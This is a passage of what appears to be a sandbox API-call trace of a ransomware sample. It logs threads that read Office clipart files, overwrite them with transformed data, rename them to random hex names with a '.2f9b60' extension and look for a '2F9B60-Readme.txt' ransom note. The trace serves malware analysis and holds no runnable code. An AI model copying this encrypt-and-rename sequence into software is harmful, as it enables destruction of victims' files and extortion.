CurrentTime=0x1da4fac0*=132462177290350000) returned 0x0 [0123.648] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x1d865413 [0123.648] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x95b80bc [0123.648] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x641fa164 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0xf6af81a [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x2cc66154 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0xf6af81a [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x3c066e95 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x1a1b487a [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x46967eea [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x39745ec9 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x2f9dc48d [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x68e77ef1 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x6d665e42 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x3b420511 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x2e5ad93e [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x43308728 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x2423aca5 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x2a3011eb [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x527cec77 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x3df3e0ec [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x70699bc2 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x641fa164 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x784a3bf0 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x64c08f02 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x7943cfd7 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x3a8b749e [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x3d45c08d [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x1a362ae8 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x247dd9f6 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x661b4b68 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x42749816 [0123.649] RtlRandomEx (in: Seed=0x1da4fab0 | out: Seed=0x1da4fab0) returned 0x5678a4d6 [0123.657] ReadFile (in: hFile=0x1840, lpBuffer=0x41edb4e0, nNumberOfBytesToRead=0x5b8, lpNumberOfBytesRead=0x1da4fab0, lpOverlapped=0x0 | out: lpBuffer=0x41edb4e0*, lpNumberOfBytesRead=0x1da4fab0*=0x5b8, lpOverlapped=0x0) returned 1 [0123.657] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.657] WriteFile (in: hFile=0x1840, lpBuffer=0x41b500b0*, nNumberOfBytesToWrite=0x5b8, lpNumberOfBytesWritten=0x1da4fab4, lpOverlapped=0x0 | out: lpBuffer=0x41b500b0*, lpNumberOfBytesWritten=0x1da4fab4*=0x5b8, lpOverlapped=0x0) returned 1 [0123.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4f0 [0123.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f520 [0123.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f520) returned 1 [0123.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b500b0) returned 1 [0123.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edb4e0) returned 1 [0123.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0123.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0123.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050f520 [0123.885] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.886] WriteFile (in: hFile=0x1840, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1da4fbd0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x1da4fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0123.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0123.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2e0 [0123.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f2e0) returned 1 [0123.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2e0 [0123.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f310 [0123.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f310) returned 1 [0123.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0123.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.924] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="78") returned 2 [0123.924] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="af") returned 2 [0123.924] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="58") returned 2 [0123.924] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="a0") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="f1") returned 2 [0123.925] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="a3") returned 2 [0123.925] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="df") returned 2 [0123.925] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="f4") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="39") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="19") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="72") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="d5") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="4e") returned 2 [0123.925] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="01") returned 2 [0123.925] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="c1") returned 2 [0123.925] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="1b") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="9a") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="bb") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="58") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="7f") returned 2 [0123.925] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="30") returned 2 [0123.925] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="44") returned 2 [0123.925] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="93") returned 2 [0123.925] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="97") returned 2 [0123.925] RtlInitAnsiString (in: DestinationString=0x1da4fc48, SourceString="78af58a0f1a3dff4391972d54e01c11b9abb587f30449397" | out: DestinationString="78af58a0f1a3dff4391972d54e01c11b9abb587f30449397") [0123.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x1da4fc18, SourceString="78af58a0f1a3dff4391972d54e01c11b9abb587f30449397", AllocateDestinationString=1 | out: DestinationString="78af58a0f1a3dff4391972d54e01c11b9abb587f30449397") returned 0x0 [0123.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9470 [0123.926] wcscat (in: _Dest=0x202b1eb0, _Source="78af58a0f1a3" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78af58a0f1a3") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78af58a0f1a3" [0123.926] wcscat (in: _Dest=0x202b1eb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78af58a0f1a3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78af58a0f1a3.2f9b60" [0123.926] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78af58a0f1a3.2f9b60", NtPathName=0x1da4fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78af58a0f1a3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106880 [0123.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106880) returned 1 [0123.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48d60) returned 1 [0123.953] NtQueryInformationFile (in: FileHandle=0x1840, IoStatusBlock=0x1da4fc58, FileInformation=0x1da4fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1da4fc58, FileInformation=0x1da4fc68) returned 0x0 [0123.953] NtSetInformationFile (FileHandle=0x1840, IoStatusBlock=0x1da4fc58, FileInformation=0x1da4fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1eb0) returned 1 [0123.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 [0123.958] FlushFileBuffers (hFile=0x1840) returned 1 [0124.118] CloseHandle (hObject=0x1840) returned 1 [0124.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1370 [0124.122] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.122] wcscat (in: _Dest=0x202b1370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0124.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205098d0) returned 1 Thread: id = 1490 os_tid = 0x199c [0120.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0122.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF", dwFileAttributes=0x20) returned 1 [0122.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10dc [0123.496] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x1e4cf740 | out: lpFileSize=0x1e4cf740*=1696) returned 1 [0123.496] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x69c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.496] ReadFile (in: hFile=0x10dc, lpBuffer=0x1e4cf6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e4cf708, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf6c0*, lpNumberOfBytesRead=0x1e4cf708*=0x4, lpOverlapped=0x0) returned 1 [0123.787] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb90 [0123.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea70 [0123.787] NtQuerySystemTime (in: CurrentTime=0x1e4cf600 | out: CurrentTime=0x1e4cf600*=132462177291754000) returned 0x0 [0123.787] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x1684f7b9 [0123.787] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x5424cf46 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x7f79cf42 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x3806e789 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x5a315fb [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x6029e1c4 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x6a35c00 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0xcc11566 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0xb86c543 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x5b118133 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x36492cdc [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x66ab82ec [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x7f9131ac [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x263b8ed [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x14b2f8f3 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0xe8a02c3 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x940d69e [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0xd934f6e [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x349ccaf5 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x73fc630 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x14545eb1 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0xf83b81a [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x14af22b7 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x4c4f3192 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x698988f2 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x458afc2e [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x4f038972 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x25e8d0d9 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x6107ebf [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x72c85484 [0123.788] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x245f1934 [0123.789] RtlRandomEx (in: Seed=0x1e4cf5f0 | out: Seed=0x1e4cf5f0) returned 0x3b8334fa [0124.499] ReadFile (in: hFile=0x10dc, lpBuffer=0x41d39560, nNumberOfBytesToRead=0x6a0, lpNumberOfBytesRead=0x1e4cf5f0, lpOverlapped=0x0 | out: lpBuffer=0x41d39560*, lpNumberOfBytesRead=0x1e4cf5f0*=0x6a0, lpOverlapped=0x0) returned 1 [0124.499] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.499] WriteFile (in: hFile=0x10dc, lpBuffer=0x41b500b0*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x1e4cf5f4, lpOverlapped=0x0 | out: lpBuffer=0x41b500b0*, lpNumberOfBytesWritten=0x1e4cf5f4*=0x6a0, lpOverlapped=0x0) returned 1 [0160.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a19a0 [0160.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a19d0 [0160.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a19d0) returned 1 [0160.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b500b0) returned 1 [0160.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d39560) returned 1 [0160.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0160.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059e70) returned 1 [0160.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a19d0 [0160.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059e70 [0160.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0160.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a00 [0160.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a00) returned 1 [0160.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1a00 [0160.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a30 [0160.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a60 [0160.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a60) returned 1 [0160.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0160.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059e70) returned 1 [0160.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x168000 [0160.783] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.783] WriteFile (in: hFile=0x10dc, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e4cf710, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x1e4cf710*=0x10a, lpOverlapped=0x0) returned 1 [0165.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050efb0 [0165.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050efb0) returned 1 [0165.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050efb0 [0165.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ef80 [0165.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ef80) returned 1 [0165.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.413] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="fe") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="0a") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="6a") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="52") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="74") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="e1") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="1d") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="d5") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="f6") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="3f") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="3f") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="ab") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="8e") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="2e") returned 2 [0165.413] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="48") returned 2 [0165.414] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="12") returned 2 [0165.414] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="43") returned 2 [0165.414] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="3c") returned 2 [0165.414] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="68") returned 2 [0165.414] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="95") returned 2 [0165.414] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="6f") returned 2 [0165.414] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="9d") returned 2 [0165.414] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="3e") returned 2 [0165.414] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="6c") returned 2 [0165.414] RtlInitAnsiString (in: DestinationString=0x1e4cf788, SourceString="fe0a6a5274e11dd5f63f3fab8e2e4812433c68956f9d3e6c" | out: DestinationString="fe0a6a5274e11dd5f63f3fab8e2e4812433c68956f9d3e6c") [0165.414] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e4cf758, SourceString="fe0a6a5274e11dd5f63f3fab8e2e4812433c68956f9d3e6c", AllocateDestinationString=1 | out: DestinationString="fe0a6a5274e11dd5f63f3fab8e2e4812433c68956f9d3e6c") returned 0x0 [0165.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86f0c0 [0165.414] RtlFreeAnsiString (AnsiString="f") [0165.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050efb0) returned 1 [0165.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168000) returned 1 [0165.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a00) returned 1 [0165.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a30) returned 1 [0165.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a19d0) returned 1 [0165.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a19a0) returned 1 [0165.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eb90) returned 1 [0165.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ead0) returned 1 [0165.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eaa0) returned 1 [0165.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30810 [0165.417] wcscat (in: _Dest=0x42c30810, _Source="fe0a6a5274e1" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe0a6a5274e1") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe0a6a5274e1" [0165.417] wcscat (in: _Dest=0x42c30810, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe0a6a5274e1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe0a6a5274e1.2f9b60" [0165.417] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe0a6a5274e1.2f9b60", NtPathName=0x1e4cf730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe0a6a5274e1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22920 Thread: id = 1491 os_tid = 0x19a0 [0120.689] GetFileAttributesW (lpFileName="C:\\Program 